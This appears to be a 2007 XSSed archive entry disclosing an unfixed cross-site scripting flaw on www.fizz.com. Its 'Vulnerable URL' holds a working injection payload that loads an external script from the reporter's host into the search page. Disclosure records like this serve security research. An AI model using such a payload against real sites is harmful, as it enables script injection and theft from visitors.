Unfixed XSS vulnerability at www.fizz.com

2007-08-09T00:00:00
ID XSSED:16042
Type xssed
Reporter kusomiso.com
Modified 2007-09-09T00:00:00

Description

Security researcher kusomiso.com, has submitted on 08/09/2007 a cross-site-scripting (XSS) vulnerability affecting www.fizz.com, which at the time of submission ranked 1184856 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/09/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Vulnerable URL: http://www.fizz.com/search.php?q=\%22\%22%3E\'%3E%3CSCRIPT/SRC=http://kusomiso.com/xss.js%3E%3C/SCRIPT%3E&qs=06oENya4ZGJbLUCWiRZnIqTngYwowsEBmxjfZofyAZp_PfYNpZarPCE1DDtELoH3Dmtz5rMBDIw-BucNnryhgLEIl02tOT4urt8vuYX_-vUS32PItZj5Gv_JpIxtQcbO-gxbHjXea6O1pElOHM2VZ_0Us1IrW9R9gxUQylFYyF7NoedPtTUs4J15l3VN65Cp0ikEZACvYn8-6pTUw5rA..,YT0z&action=